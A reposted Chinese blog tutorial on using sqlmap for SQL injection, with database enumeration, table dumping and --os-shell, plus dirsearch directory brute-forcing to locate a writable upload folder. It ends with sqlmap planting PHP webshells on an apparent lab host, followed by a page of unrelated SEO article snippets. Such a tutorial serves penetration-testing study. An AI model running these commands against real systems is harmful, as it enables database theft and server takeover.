sqlmap如何用dirsearch.py协助--os -shell拿到目标网站shell

news/2024/5/20 16:24:19/文章来源:https://blog.csdn.net/King_Ho/article/details/110094510

本文为博主原创文章首发于FreeBuf→https://www.freebuf.com/sectool/256588.html

SQLMAP

sqlmap是一个开源渗透测试工具, 它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

安装

windows
1、安装python(2.x或3.x版本)
https://www.python.org/downloads/
2、下载sq|map并解压
http://sqlmap.org/
3、在sqlmap路径下打开cmd, python sqlmap.py即可运行
linux
1、kali系统自带
2、git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap -dev
常用命令:
1、sqlmap.py -u "url" 检测目标url是否存在注入
2、sqlmap -u "url" --dbs 爆出所有数据库信息
3、sqlmap -u "url" --current-db爆出当前数据库信息
4、sqlmap -u "url" -D Database_ name -tables 列出指定库名的所有表名
5、sq|map -u "url" -D Database_ name -T Table_ name --columns列出指定库名指定表名的所有列名
6、sqlmap -u "url" -D Database_ name -T Table_ name -C columns1,colunms2, columns3 --dump列出指定库名指定表名指定字段的数据

POST注入

1、sqlmap -r /root/aaa.txt --dbs --batch
2、sqlmap -r /root/aa.txt --current-db
3、sqImap -r /root/aaa.txt -D hetianlab --tables
4、sqlmap -r /root/aaa.txt -D hetianlab -T user_ pwd --dump

–os-shell

sqlmap -r /root/aaa.txt -p id --is-dba
sqlmap -r /rootaaa.txt -p id --os-shell
os-shell的执行条件有三个:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3) GPC为off, php主动转义的功能关闭
当着三个条件都满足的时候,–os-shell命令才执行。

which web application Language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default ) #默认
what do you want to use for writable directory?
[1] common Location(s) ( /var/ww/, /var/www/html, /var /www/htdocs, /usr/Local/ apache2/htdocs,/usr/local/www/data, /var/apache2/htdocs, /var/www/ nginx- default, /srv/www/htdocs’) (default)
[2] custom Location(s) #自定义
[3] custom directory list file
[4] brute force search

话说回来,我们如何知道这个网站是不是root权限呢?
我们可以执行以下两个命令来查看网站当前的用户
sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --current -user
current --user查看当前的用户
sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --is -dba
指定去查找这个文件是否为dba,dba是databaseadmin,是数据库管理员用户的意思,如果返回值为true,则是root用户
这两个命令都可以🙆‍

查查目录[dirsearch.py]

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
dirsearch拥有以下特点:

  • 多线程
  • 可保持连接
  • 支持多种后缀(-e|–extensions asp,php)
  • 生成报告(纯文本,JSON)
  • 启发式检测无效的网页
  • 递归的暴力扫描
  • 支持HTTP代理
  • 用户代理随机化
  • 批量处理
  • 请求延迟

扫描器与字典
字典必须是文本文件,除了使用特殊的%EXT%之外,其余每行都会被处理。
例:
example/
example.%EXT%

使用扩展名“asp”和“aspx”会生成下面的字典:
example/
example.asp
example.aspx

Linux下的使用示例:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
./dirsearch.py -u 目标网址 -e *
点击下载地址下载dirsearch-master并解压,将shell位置处于该脚本根目录,由于dirsearch需要python3.x,所以在使用前需要访问python.org下载相应版本的python,最后执行python3 dirsearch.py -u xxxxxx来使用。
-u意为url,添加URL时可以添加他的协议头,但不要添加他的访问目录。
-e指定查找的类型,如 -e dir意为指定查找目录信息,可帮助我们知道哪里可能存在上传的权限。-e php指定PHP语言类型,可以帮助我们查找是否有PHP语言的关键信息泄露。
常见的脚本语言类型有:
ASP
ASPX(ASP.NET)
JSP
PHP
扫描目录过程

它是利用爬虫和自带的字典爆破脚本进行的扫描。
如上图的返回值信息,如果是200、403、301这些数值的话,证明它是存在该目录/文件的。
再来观察上图的扫描过程中的结果,出现了一个upload,upload也就是上传,所谓上传,一般情况下我们是对此目录有可写权限的。
那么他的完整路径是什么呢?
根据在学校上学习的Apache服务建站,可以知道该网站如果是部署在Linux系统上,网站的默认根目录是/var/www/html或者是/var/www/。小型网站一般都不会改这个目录,那么upload的完整目录很有可能是/var/www/html/upload/var/www/upload,两个都可以试一下

回到-os shell上

①选择脚本语言选择4-PHP
②我们已经知道路径了,选择2-custom directory list file(自定义路径)
③输入我们知道的路径/var/www/html/upload
在这里插入图片描述
当我们看到shell为os-shell>的时候就代表成功了🎉
我们看到sqlmap给/var/www/html/upload目录里上传了两个PHP文件,tmpuknio.phptmpbepcb.php由于他们两个的存在才拿到了这个权限,那么这两个PHP文件是属于web木马,这些文件的权限也就是php运行的权限,PHP是在Apache服务商运行的,我们可以通过whoami来验证是否正确
os-shell>
whoami

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_894682.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

超棒的五个在线学习web编程的网站

超棒的五个在线学习web编程的网站 http://www.gbtags.com/gb/share/2523.htm# 如果你需要给自己冲冲电而又没有时间的话,使用一些在线学习编程的网站,利用一些碎片时间来学习提高自己的话,今天这篇文章肯定能够帮你大忙,本文里我…

【全源码及文档】基于JAVA的宠物网站设计与实现

摘 要 本系统是采用Java技术来构建的一个基于Web技术的B/S结构的宠物网站,该网站建立在Spring和Struts2框架之上,前台使用JSP作为开发语言,后台使用MySQL数据库管理系统对数据进行管理,开发环境选用MyEclipse,应用服务…

【全源码及文档】基于JSP和MySql的资讯网站的设计与开发

摘 要 互联网时代是一个资讯爆发的时代,人们每天都能接收到各种平台推送的各式各样的资讯,这些资讯有可能是用户感兴趣的,也有可能是用户所厌恶的,如何在各种各样的资讯中最高效的获取自己需要的内容成为一个普遍的问题。本课题研…

你需要掌握8个SEO的常识

以前的招聘,因为公司的产品线是PC端网络业务的一部分,所以对SEO(搜索引擎优化)有一定的要求。但很少有候选人能回答。 部分应聘者过去的工作经验是基于微信的后台管理系统和网络应用。偶尔,他们会遇到一个小伙伴谁开发…

在网站上收集文章有什么负面影响?

每个网站都必须有内容填充。在“内容为王”的时代,很多SEO站长为了更好的优化网站,疯狂地写了很多文章。然而,一些SEOer认为原创文章并不像以前那么重要,但是为了缩短时间,使网站拥有大量的内容,所以很多站…

一个完整和详细的网站SEO优化解决方案

祥云平台上的完整SEO优化解决方案包含四个主要组件: 第一:网站前端设计师 第二:网站内容录入人员 第三:网站优化和推广人员 第四:背景数据分析师 接下来,我们将为这四个部门分配工作。 首先,网站…

企业网站有必要专门seo优化吗?

搜索引擎优化,优帮云认为企业网站并不陌生。今天,在搜索热门文章“百度已死”的霸主屏幕上,那么对于企业来说,还需要做搜索引擎优化吗? 你想为百度做SEO优化吗? 什么是SEO?简单地说&#xff0…

SEO整体优化有哪些操作步骤

经常有各种SEO新手小白问我SEO优化方法有哪些,我最想说的是,这个问题就像是一个巨大洋葱的,表面看起来是一个问题,要看到里面的心要得到答案,就得一层一层地剥开,你就知道SEO的实质问题不是一个&#xff0c…

快速了解SEO和ASO之间的差异

ASO和SEO有相似之处。甚至可以说SEO是ASO的前世。如果您之前掌握了SEO的知识,那么很容易开始学习ASO。 定义: 搜索引擎优化:使用搜索引擎规则来提高相关搜索引擎内网站的自然排名。目标是为网站提供生态自营解决方案,在行业中处于…

互联网商业网站快速完成SEO优化的五个步骤

随着Internet网络的快速发展,Internet网络营销已逐步进入传统企业。在频繁的互联网时代和激烈的竞争时代,如果不做网络营销,企业将面临订单的困境,甚至被淘汰期限。因此,许多公司现在都在做企业网站,而且它…

seo人员如何合理使用meta标签?

对于做网站的seo从业者来说,meta标签是我们必须掌握和理解的东西,因为它是文档中最基本的元信息。当谈到元标记时,我们头脑中首先发现的是TDK:标题,描述,关键字,但元标记远不止这两个。其他元标…

如何做SEO如何优化排名教程

淘宝 seo如何做三部曲——如何轻松有效地改善搜索流量 简而言之,有三个核心要点:搜索定价,主要图表点击率和标题关键字。 [淘宝 seo排名核心]一,搜索定价: 在定价产品时,定价是合适的,看似简单&…

百度小程序以及如何进行SEO?

百度 Applet,也称为百度智能小程序。我们直接在这里调用百度 applet,只是为了区别于WeChat applet,支付宝 applet 哈。 百度什么是智能小程序?只是它出来了,不,一年中有20天!见下文百度百科全书…

网站地图在优化SEO中的主要作用分析

在网站优化中,网站地图是不可或缺的因素。我们通常习惯于将网站地图添加到网站,但很少有人真正考虑为什么添加网站以及它做什么。我们通常将站点地图分为两种形式,一种是xml格式,另一种是html格式。无论构建哪一个,都没…

互联网商业网站快速完成SEO优化的五个步骤

随着Internet网络的快速发展,Internet网络营销已逐步进入传统企业。在频繁的互联网时代和激烈的竞争时代,如果不做网络营销,企业将面临订单的困境,甚至被淘汰期限。因此,许多公司现在都在做企业网站,而且它…

店铺怎么做SEO优化

淘宝 seo如何做三部曲——如何轻松有效地改善搜索流量 简而言之,有三个核心要点:搜索定价,主要图表点击率和标题关键字。 [淘宝 seo排名核心]一,搜索定价: 在定价产品时,定价是合适的,看似简单&…

卖家如何利用关键词进行SEO优化以提高排名?

关键字研究是SEO优化的基础,特别是对于网站的SEO。那么卖家如何进行关键词优化呢? SEO的关键字研究 对电子商务进行关键词研究有两种主要方式: 独立研究 研究对手 在开始之前,了解好关键字的组件非常重要。 以下是一些重要注意事项…

算法可视化网站一些小工具

目录 三个算法可视化网站分享 1- https://visualgo.net/zh 2- https://www.cs.usfca.edu/~galles/visualization/Algorithms.html 3- https://algorithm-visualizer.org/ 一些小工具: 1-gitmind (网站,在线制作脑图等) 2…

网站的域名和端口

通俗化解释什么是网站的端口,特别实用。 -------------------------------------------------------- 【本质透析】 从本质来讲,任何一个网站的访问,都是通过服务器的IP(xxx.xxx.xxx)和端口号(xx&#xff0…

刘剑 卓越领导力_卓越和令人难忘的网站设计,源于创造力

刘剑 卓越领导力 Web designing has come up a long way in the past few years. From simple static designs to dynamic 3D and 5D designs, designing technology has revolutionized the conventions of web designing. If you go through the sites, you would see how th…